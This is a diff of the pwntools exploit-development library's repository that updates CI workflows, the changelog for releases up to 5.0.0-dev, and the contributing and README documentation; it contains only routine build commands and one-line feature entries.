- uses: actions/checkout@v4
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v4
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
uses: actions/setup-python@v7
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: Critical lint
|
||||
run: |
|
||||
@@ -33,3 +31,13 @@ jobs:
|
||||
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
|
||||
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
|
||||
|
||||
- name: Minimum Python version check
|
||||
run: |
|
||||
pip install vermin
|
||||
vermin -vvv --no-tips -t=3.10- --violations ./pwnlib ./pwn
|
||||
|
||||
- name: MyPy type hint baseline
|
||||
run: |
|
||||
pip install -U . --group dev
|
||||
mypy | mypy-baseline filter
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
|
||||
@@ -5,33 +5,32 @@ jobs:
|
||||
build:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
python-version: ['3.10']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v4
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
uses: actions/setup-python@v7
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: PyLint
|
||||
run: |
|
||||
set -x
|
||||
pip install pylint
|
||||
pip install 'pylint<4'
|
||||
pip install --upgrade -e .
|
||||
pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > current.txt
|
||||
run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
|
||||
run_pylint > current.txt
|
||||
git fetch origin
|
||||
git checkout origin/"$GITHUB_BASE_REF"
|
||||
pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > base.txt
|
||||
run_pylint > base.txt
|
||||
if diff base.txt current.txt | grep '>'; then
|
||||
false
|
||||
fi
|
||||
+1
-1
@@ -5,7 +5,7 @@ version: 2
|
||||
build:
|
||||
os: ubuntu-22.04
|
||||
tools:
|
||||
python: "3"
|
||||
python: "3.12"
|
||||
|
||||
sphinx:
|
||||
configuration: docs/source/conf.py
|
||||
|
||||
+266
-9
@@ -9,9 +9,11 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
|
||||
| Version | Branch | Release Date |
|
||||
| ---------------- | -------- | ---------------------- |
|
||||
| [4.15.0](#4150-dev) | `dev` |
|
||||
| [4.14.0](#4140-beta) | `beta` |
|
||||
| [4.13.1](#4131-stable) | `stable` | Sep 29, 2024
|
||||
| [5.0.0](#500-dev) | `dev` |
|
||||
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
|
||||
| [4.14.1](#4141) | | Mar 24, 2025
|
||||
| [4.14.0](#4140) | | Jan 15, 2025
|
||||
| [4.13.1](#4131) | | Sep 29, 2024
|
||||
| [4.13.0](#4130) | | Aug 12, 2024
|
||||
| [4.12.0](#4120) | | Feb 22, 2024
|
||||
| [4.11.1](#4111) | | Nov 14, 2023
|
||||
@@ -71,21 +73,274 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
| [3.0.0](#300) | | Aug 20, 2016
|
||||
| [2.2.0](#220) | | Jan 5, 2015
|
||||
|
||||
## 4.15.0 (`dev`)
|
||||
## 5.0.0 (`dev`)
|
||||
|
||||
- [#2798][2798] fix(flag, adb): NameError in `submit_flag` with a flag file and in `Kernel.enable_uart`
|
||||
- [#2780][2780] fix(encoders): handle unavailable xor encodings and fallback
|
||||
- [#2789][2789] feat(errno): support `-c/--context` to look up errno values for other architectures
|
||||
- [#2784][2784] docs: put plain doctest blocks in the default group for Sphinx 9
|
||||
- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
|
||||
- [#2753][2753] docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args
|
||||
- [#2740][2740] setup: install docs to FHS-compliant share/doc/pwntools
|
||||
- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
|
||||
- [#2725][2725] feat(libcdb): add extra_mirrors arg + PWNLIB_EXTRA_LIBC_MIRRORS env to download_libraries
|
||||
- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
|
||||
- [#2675][2675] feat(term): add zellij support
|
||||
- [#2652][2652] Make setting the context.terminal to kitty more user friendly
|
||||
- [#2638][2638] feat: add disable_corefiles context option
|
||||
- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)
|
||||
- [#2598][2598] aarch64: Fix ABI definition
|
||||
- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
|
||||
- [#2551][2551] Detect when kitty is being used as terminal
|
||||
- [#2519][2519] Drop Python 2.7 support / Require Python 3.10
|
||||
- [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows
|
||||
- [#2522][2522] Support starting a kitty debugging window with the 'kitten' command
|
||||
- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows
|
||||
- [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it.
|
||||
- [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems
|
||||
- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.
|
||||
- [#2529][2529] Add LoongArch64 support
|
||||
- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF
|
||||
- [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach`
|
||||
- [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko
|
||||
- [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled
|
||||
- [#2574][2574] Allow creating an ELF from in-memory bytes
|
||||
- [#2575][2575] Detect when Terminator is being used as terminal
|
||||
- [#2578][2578] Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal
|
||||
- [#2590][2590] Add support for finding corefiles under WSL2
|
||||
- [#2496][2496] Add linux ko file search support
|
||||
- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
|
||||
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
|
||||
- [#2606][2606] Improve error of `process.maps()` after the process exited
|
||||
- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
|
||||
- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
|
||||
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
|
||||
- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
|
||||
- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation
|
||||
- [#2630][2630] support `preexec_fn` in `debug()`
|
||||
- [#2641][2641] support preexec_args in process
|
||||
- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
|
||||
- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM
|
||||
- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64
|
||||
- [#2647][2647] packing: Add `overlap` to overlap structures easily
|
||||
- [#2669][2669] asm: try native binutils before fallback architectures
|
||||
- [#2673][2673] Add libc module for libc-related functions
|
||||
- [#2679][2679] Add type hints to parts of pwnlib.utils
|
||||
- [#2680][2680] Cleanup Python 2 legacy
|
||||
- [#2683][2683] libc: add atexit functions for glibc exploits
|
||||
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
|
||||
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
|
||||
- [#2682][2682] Fix `server.close()` not closing the listen socket
|
||||
- [#2671][2671] ssh: support raw string input for 'key' argument as documented
|
||||
- [#2688][2688] Close SSH client connection when authentication failed
|
||||
- [#2686][2686] Add glibc safe-linking `glibc.reveal_ptr_same_page`
|
||||
- [#2706][2706] doc: Update `run_in_new_terminal` docstring with new overrides
|
||||
- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04
|
||||
- [#2655][2655] Add `context.debugger` to select which debugger to use
|
||||
- [#2689][2689] Refactor zsh completion script and deprecate `-e` in `pwn asm`
|
||||
- [#2713][2713] Remove python-dateutil dependency
|
||||
- [#2720][2720] ssh: resolve PermissionError on Windows during SFTP upload
|
||||
- [#2702][2702] ssh: Don't cache username in ssh checksec output
|
||||
- [#2722][2722] safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)
|
||||
- [#2730][2730] Fix atexception handlers in term mode
|
||||
- [#2732][2732] ssh: fix `ssh.which` returns None for POSIX paths when running on Windows
|
||||
- [#2733][2733] loongarch64: fix incorrect mov assembly template
|
||||
- [#2741][2741] memleak: add opt-in persistent leak cache
|
||||
- [#2743][2743] fix(adb): add missing import for remote to fix NameError hidden by bare except
|
||||
- [#2746][2746] elf: point people at libc_start_main_return when they look up __libc_start_main_ret
|
||||
- [#2734][2734] ROP: Add labels to reference addresses relative to your chain
|
||||
- [#2735][2735] Add support for debugging with x64dbg on Windows
|
||||
- [#2767][2767] Support paginated libc.rip API requests to include all search results
|
||||
- [#2726][2726] feat(libcdb): use local debuginfod client cache before hitting servers
|
||||
- [#2768][2768] docs: Added the homebrew workaround in documentation needed for macOS users
|
||||
- [#2769][2769] Use standard library (PEP-784) for Zstandard decompression
|
||||
- [#2750][2750] Fix DeprecationWarning with remote(ssl=True), checking remote certificates now
|
||||
- [#2761][2761] fix: don't truncate the last byte of `FileStructure.struntil`
|
||||
- [#2727][2727] feat(cli): add 'pwn errno --list' + perror-string lookup
|
||||
- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
|
||||
|
||||
[2784]: https://github.com/Gallopsled/pwntools/pull/2784
|
||||
[2675]: https://github.com/Gallopsled/pwntools/pull/2675
|
||||
[2652]: https://github.com/Gallopsled/pwntools/pull/2652
|
||||
[2638]: https://github.com/Gallopsled/pwntools/pull/2638
|
||||
[2627]: https://github.com/Gallopsled/pwntools/pull/2627
|
||||
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
|
||||
[2419]: https://github.com/Gallopsled/pwntools/pull/2419
|
||||
[2551]: https://github.com/Gallopsled/pwntools/pull/2551
|
||||
[2519]: https://github.com/Gallopsled/pwntools/pull/2519
|
||||
[2507]: https://github.com/Gallopsled/pwntools/pull/2507
|
||||
[2522]: https://github.com/Gallopsled/pwntools/pull/2522
|
||||
[2524]: https://github.com/Gallopsled/pwntools/pull/2524
|
||||
[2526]: https://github.com/Gallopsled/pwntools/pull/2526
|
||||
[2517]: https://github.com/Gallopsled/pwntools/pull/2517
|
||||
[2530]: https://github.com/Gallopsled/pwntools/pull/2530
|
||||
[2529]: https://github.com/Gallopsled/pwntools/pull/2529
|
||||
[2506]: https://github.com/Gallopsled/pwntools/pull/2506
|
||||
[2504]: https://github.com/Gallopsled/pwntools/pull/2504
|
||||
[2546]: https://github.com/Gallopsled/pwntools/pull/2546
|
||||
[2538]: https://github.com/Gallopsled/pwntools/pull/2538
|
||||
[2574]: https://github.com/Gallopsled/pwntools/pull/2574
|
||||
[2575]: https://github.com/Gallopsled/pwntools/pull/2575
|
||||
[2578]: https://github.com/Gallopsled/pwntools/pull/2578
|
||||
[2590]: https://github.com/Gallopsled/pwntools/pull/2590
|
||||
[2496]: https://github.com/Gallopsled/pwntools/pull/2496
|
||||
[2542]: https://github.com/Gallopsled/pwntools/pull/2542
|
||||
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
|
||||
[2606]: https://github.com/Gallopsled/pwntools/pull/2606
|
||||
[2608]: https://github.com/Gallopsled/pwntools/pull/2608
|
||||
[2611]: https://github.com/Gallopsled/pwntools/pull/2611
|
||||
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
|
||||
[2615]: https://github.com/Gallopsled/pwntools/pull/2615
|
||||
[2639]: https://github.com/Gallopsled/pwntools/pull/2639
|
||||
[2630]: https://github.com/Gallopsled/pwntools/pull/2630
|
||||
[2641]: https://github.com/Gallopsled/pwntools/pull/2641
|
||||
[2646]: https://github.com/Gallopsled/pwntools/pull/2646
|
||||
[2629]: https://github.com/Gallopsled/pwntools/pull/2629
|
||||
[2643]: https://github.com/Gallopsled/pwntools/pull/2643
|
||||
[2647]: https://github.com/Gallopsled/pwntools/pull/2647
|
||||
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
|
||||
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
|
||||
[2679]: https://github.com/Gallopsled/pwntools/pull/2679
|
||||
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
|
||||
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
|
||||
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
|
||||
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
|
||||
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
|
||||
[2671]: https://github.com/Gallopsled/pwntools/pull/2671
|
||||
[2688]: https://github.com/Gallopsled/pwntools/pull/2688
|
||||
[2686]: https://github.com/Gallopsled/pwntools/pull/2686
|
||||
[2704]: https://github.com/Gallopsled/pwntools/pull/2704
|
||||
[2655]: https://github.com/Gallopsled/pwntools/pull/2655
|
||||
[2677]: https://github.com/Gallopsled/pwntools/pull/2677
|
||||
[2689]: https://github.com/Gallopsled/pwntools/pull/2689
|
||||
[2713]: https://github.com/Gallopsled/pwntools/pull/2713
|
||||
[2720]: https://github.com/Gallopsled/pwntools/pull/2720
|
||||
[2702]: https://github.com/Gallopsled/pwntools/pull/2702
|
||||
[2722]: https://github.com/Gallopsled/pwntools/pull/2722
|
||||
[2725]: https://github.com/Gallopsled/pwntools/pull/2725
|
||||
[2730]: https://github.com/Gallopsled/pwntools/pull/2730
|
||||
[2732]: https://github.com/Gallopsled/pwntools/pull/2732
|
||||
[2733]: https://github.com/Gallopsled/pwntools/pull/2733
|
||||
[2739]: https://github.com/Gallopsled/pwntools/pull/2739
|
||||
[2740]: https://github.com/Gallopsled/pwntools/pull/2740
|
||||
[2741]: https://github.com/Gallopsled/pwntools/pull/2741
|
||||
[2743]: https://github.com/Gallopsled/pwntools/pull/2743
|
||||
[2746]: https://github.com/Gallopsled/pwntools/pull/2746
|
||||
[2734]: https://github.com/Gallopsled/pwntools/pull/2734
|
||||
[2735]: https://github.com/Gallopsled/pwntools/pull/2735
|
||||
[2753]: https://github.com/Gallopsled/pwntools/pull/2753
|
||||
[2762]: https://github.com/Gallopsled/pwntools/pull/2762
|
||||
[2767]: https://github.com/Gallopsled/pwntools/pull/2767
|
||||
[2726]: https://github.com/Gallopsled/pwntools/pull/2726
|
||||
[2768]: https://github.com/Gallopsled/pwntools/pull/2768
|
||||
[2769]: https://github.com/Gallopsled/pwntools/pull/2769
|
||||
[2780]: https://github.com/Gallopsled/pwntools/pull/2780
|
||||
[2789]: https://github.com/Gallopsled/pwntools/pull/2789
|
||||
[2750]: https://github.com/Gallopsled/pwntools/pull/2750
|
||||
[2761]: https://github.com/Gallopsled/pwntools/pull/2761
|
||||
[2727]: https://github.com/Gallopsled/pwntools/pull/2727
|
||||
[2792]: https://github.com/Gallopsled/pwntools/pull/2792
|
||||
[2798]: https://github.com/Gallopsled/pwntools/pull/2798
|
||||
|
||||
## 4.15.1
|
||||
|
||||
- [#2694][2694] fix: pad bytes fields to correct field size in FileStructure
|
||||
- [#2701][2701] Fix `adb._build_date()` crash on devices with non-standard locale date strings
|
||||
- [#2721][2721] Allow running with Unicorn 2.1.[34] but throw when emulating MIPS
|
||||
- [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
|
||||
- [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
|
||||
- [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
|
||||
|
||||
[2694]: https://github.com/Gallopsled/pwntools/pull/2694
|
||||
[2701]: https://github.com/Gallopsled/pwntools/pull/2701
|
||||
[2721]: https://github.com/Gallopsled/pwntools/pull/2721
|
||||
[2773]: https://github.com/Gallopsled/pwntools/pull/2773
|
||||
[2772]: https://github.com/Gallopsled/pwntools/pull/2772
|
||||
[2787]: https://github.com/Gallopsled/pwntools/pull/2787
|
||||
|
||||
## 4.15.0 (`stable`)
|
||||
|
||||
- [#2508][2508] Ignore a warning when compiling with asm on nix
|
||||
- [#2471][2471] Properly close spawned kitty window
|
||||
- [#2358][2358] Cache output of `asm()`
|
||||
- [#2457][2457] Catch exception of non-ELF files in checksec.
|
||||
- [#2444][2444] Add `ELF.close()` to release resources
|
||||
- [#2413][2413] libcdb: improve the search speed of `search_by_symbol_offsets` in local libc-database
|
||||
- [#2470][2470] Fix waiting for gdb under WSL2
|
||||
- [#2479][2479] Support extracting libraries from Docker image in `pwn template`
|
||||
- [#2483][2483] Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already
|
||||
- [#2482][2482] Throw error when using `sni` and setting `server_hostname` manually in `remote`
|
||||
- [#2478][2478] libcdb-cli: add `--offline-only`, refactor unstrip and add fetch parser for download libc-database
|
||||
- [#2484][2484] Allow to disable caching
|
||||
- [#2291][2291] Fix attaching to a gdbserver with tuple `gdb.attach(('0.0.0.0',12345))`
|
||||
- [#2410][2410] Add `tube.upload_manually` to upload files in chunks
|
||||
- [#2502][2502] Fix loading ELF files without valid .dynamic section
|
||||
- [#2476][2476] Deprecate 'keepends' argument in favor of 'drop' in `tube.recvline*`
|
||||
- [#2364][2364] Deprecate direct commandline scripts invocation and exclude nonsense ones
|
||||
- [#2570][2570] Fix `pwn template` to skip Docker library extraction for statically linked binaries
|
||||
- [#2545][2545] SSH: fix download/upload with -1 exit status
|
||||
- [#2567][2567] Fix mistakenly parsing of ld-linux error messages.
|
||||
- [#2576][2576] regsort: respect register aliases
|
||||
- [#2595][2595] libcdb: Add Ubuntu and Debian debuginfod servers to default list
|
||||
- [#2593][2593] Use unicorn on macOS w/ SIP enabled
|
||||
- [#2587][2587] Support longer function names in Windows `getexport` shellcode
|
||||
- [#2596][2596] Ignore `colored_traceback` error when TERM envvar is unset
|
||||
- [#2579][2579] Fix poll error in `process.libs()` and clean up maps parsing
|
||||
- [#2602][2602] Allow setting debugger path via context.gdb_binary
|
||||
- [#2609][2609] Fix log level of child remotes of `server` tube
|
||||
- [#2612][2612] Fix lookup of binutils for `mipsel` architecture
|
||||
- [#2624][2624] Fix regression: gdbserver can't handle command-line argument containing whitespace
|
||||
|
||||
[2508]: https://github.com/Gallopsled/pwntools/pull/2508
|
||||
[2471]: https://github.com/Gallopsled/pwntools/pull/2471
|
||||
[2358]: https://github.com/Gallopsled/pwntools/pull/2358
|
||||
[2457]: https://github.com/Gallopsled/pwntools/pull/2457
|
||||
[2444]: https://github.com/Gallopsled/pwntools/pull/2444
|
||||
[2413]: https://github.com/Gallopsled/pwntools/pull/2413
|
||||
[2470]: https://github.com/Gallopsled/pwntools/pull/2470
|
||||
[2479]: https://github.com/Gallopsled/pwntools/pull/2479
|
||||
[2483]: https://github.com/Gallopsled/pwntools/pull/2483
|
||||
[2482]: https://github.com/Gallopsled/pwntools/pull/2482
|
||||
[2478]: https://github.com/Gallopsled/pwntools/pull/2478
|
||||
[2484]: https://github.com/Gallopsled/pwntools/pull/2484
|
||||
[2291]: https://github.com/Gallopsled/pwntools/pull/2291
|
||||
[2410]: https://github.com/Gallopsled/pwntools/pull/2410
|
||||
[2502]: https://github.com/Gallopsled/pwntools/pull/2502
|
||||
[2476]: https://github.com/Gallopsled/pwntools/pull/2476
|
||||
[2364]: https://github.com/Gallopsled/pwntools/pull/2364
|
||||
[2570]: https://github.com/Gallopsled/pwntools/pull/2570
|
||||
[2545]: https://github.com/Gallopsled/pwntools/pull/2545
|
||||
[2567]: https://github.com/Gallopsled/pwntools/pull/2567
|
||||
[2576]: https://github.com/Gallopsled/pwntools/pull/2576
|
||||
[2595]: https://github.com/Gallopsled/pwntools/pull/2595
|
||||
[2593]: https://github.com/Gallopsled/pwntools/pull/2593
|
||||
[2587]: https://github.com/Gallopsled/pwntools/pull/2587
|
||||
[2596]: https://github.com/Gallopsled/pwntools/pull/2596
|
||||
[2579]: https://github.com/Gallopsled/pwntools/pull/2579
|
||||
[2602]: https://github.com/Gallopsled/pwntools/pull/2602
|
||||
[2609]: https://github.com/Gallopsled/pwntools/pull/2609
|
||||
[2612]: https://github.com/Gallopsled/pwntools/pull/2612
|
||||
[2624]: https://github.com/Gallopsled/pwntools/pull/2624
|
||||
|
||||
## 4.14.0 (`beta`)
|
||||
## 4.14.1
|
||||
|
||||
- [#2451][2451] Show symbols defined to value 0 (start of file)
|
||||
- [#2533][2533] Fix installation on Python 3.5 and lower
|
||||
- [#2518][2518] fix: update apport coredump path handling for CorefileFinder
|
||||
- [#2552][2552] Fix memcpy shellcraft template off-by-one
|
||||
- [#2559][2559] Fix parsing corefile with missing auxv
|
||||
- [#2562][2562] Fix syntax highlighting of multiline comments in ASM
|
||||
- [#2565][2565] Exclude broken Unicorn
|
||||
|
||||
[2451]: https://github.com/Gallopsled/pwntools/pull/2451
|
||||
[2533]: https://github.com/Gallopsled/pwntools/pull/2533
|
||||
[2518]: https://github.com/Gallopsled/pwntools/pull/2518
|
||||
[2552]: https://github.com/Gallopsled/pwntools/pull/2552
|
||||
[2559]: https://github.com/Gallopsled/pwntools/pull/2559
|
||||
[2562]: https://github.com/Gallopsled/pwntools/pull/2562
|
||||
[2565]: https://github.com/Gallopsled/pwntools/pull/2565
|
||||
|
||||
## 4.14.0
|
||||
|
||||
- [#2356][2356] Add local libc database provider for libcdb
|
||||
- [#2360][2360] Add offline parameter for `search_by_hash` series function
|
||||
@@ -107,6 +362,7 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
- [#2382][2382] added optional port, gdb_args and gdbserver_args parameters to gdb.debug()
|
||||
- [#2435][2435] Speed up gdbserver handshake in gdb.debug()
|
||||
- [#2436][2436] Add resolution_addr parameter to Ret2dlresolvePayload
|
||||
- [#2497][2497] Fix remote.fromsocket() to handle AF_INET6 socket
|
||||
|
||||
[2436]: https://github.com/Gallopsled/pwntools/pull/2436
|
||||
[2371]: https://github.com/Gallopsled/pwntools/pull/2371
|
||||
@@ -128,8 +384,9 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
[2382]: https://github.com/Gallopsled/pwntools/pull/2382
|
||||
[2435]: https://github.com/Gallopsled/pwntools/pull/2435
|
||||
[2437]: https://github.com/Gallopsled/pwntools/pull/2437
|
||||
[2497]: https://github.com/Gallopsled/pwntools/pull/2497
|
||||
|
||||
## 4.13.1 (`stable`)
|
||||
## 4.13.1
|
||||
|
||||
- [#2445][2445] Fix parsing the PLT on Windows
|
||||
- [#2466][2466] Fix PLT emulation with Unicorn 2.1.0
|
||||
@@ -154,7 +411,7 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
- [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned
|
||||
- [#2279][2279] Make `pwn template` always set context.binary
|
||||
- [#2310][2310] Add support to start a process on Windows
|
||||
- [#2335][2335] Add lookup optimizations in DynELF
|
||||
- [#2335][2335] Add lookup optimizations in DynELF
|
||||
- [#2334][2334] Speed up disasm commandline tool with colored output
|
||||
- [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows
|
||||
- [#2189][2189] Explicitly define p64/u64 functions for IDE support
|
||||
@@ -241,7 +498,7 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
|
||||
## 4.11.0
|
||||
|
||||
- [#2185][2185] make fmtstr module able to create payload without $ notation
|
||||
- [#2185][2185] make fmtstr module able to create payload without $ notation
|
||||
- [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()`
|
||||
- [#2177][2177] Support for RISC-V 64-bit architecture
|
||||
- [#2186][2186] Enhance `ELF.nx` and `ELF.execstack`
|
||||
@@ -516,7 +773,7 @@ In memoriam — [Zach Riggle][zach] — long time contributor and maintainer of
|
||||
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
|
||||
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.7 (`stable`)
|
||||
## 4.1.7
|
||||
|
||||
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
|
||||
|
||||
|
||||
+34
-9
@@ -2,32 +2,57 @@
|
||||
|
||||
Github has a great guide for contributing to open source projects:
|
||||
|
||||
- [Contributing to a project](https://guides.github.com/activities/forking/)
|
||||
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
|
||||
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
|
||||
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
|
||||
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
|
||||
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
|
||||
- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
|
||||
- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
|
||||
- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
|
||||
- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
|
||||
- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
|
||||
- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
|
||||
|
||||
## pwntools Specifics
|
||||
|
||||
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
|
||||
|
||||
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
|
||||
After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
|
||||
|
||||
Finally, it is probably a good idea to run the test suite locally before doing
|
||||
the pull-request to make sure everything works, however this is not a
|
||||
requirement.
|
||||
requirement. See the [TESTING](TESTING.md) documentation on how to do that.
|
||||
|
||||
Once you are ready to do a pull-request, you should figure out if your changes
|
||||
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
|
||||
stable or beta, you should do the pull-request against the branch in question,
|
||||
and otherwise your pull-request should be against the dev branch.
|
||||
|
||||
Once you do the pull-request Travis CI will run the test-suite on it. Once it
|
||||
Once you do the pull-request Github Actions will run the test-suite on it. Once it
|
||||
passes one of the core developers will look at your pull request, possibly
|
||||
comment on it and then hopefully merge it into the branch in question.
|
||||
|
||||
## Python Type Hints
|
||||
|
||||
Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
|
||||
[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
|
||||
experience without running the code.
|
||||
|
||||
New code should include type hints where applicable and shouldn't add new type warnings.
|
||||
You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
|
||||
|
||||
Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
|
||||
introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
|
||||
|
||||
To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
|
||||
|
||||
```shell
|
||||
$ pip install -U . --group dev
|
||||
$ mypy | mypy-baseline filter
|
||||
```
|
||||
|
||||
If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
|
||||
|
||||
```shell
|
||||
$ mypy | mypy-baseline sync --sort-baseline
|
||||
```
|
||||
|
||||
## Automated Testing
|
||||
|
||||
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
|
||||
|
||||
@@ -32,13 +32,13 @@ To get you started, we've provided some example solutions for past CTF challenge
|
||||
|
||||
# Installation
|
||||
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
|
||||
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
|
||||
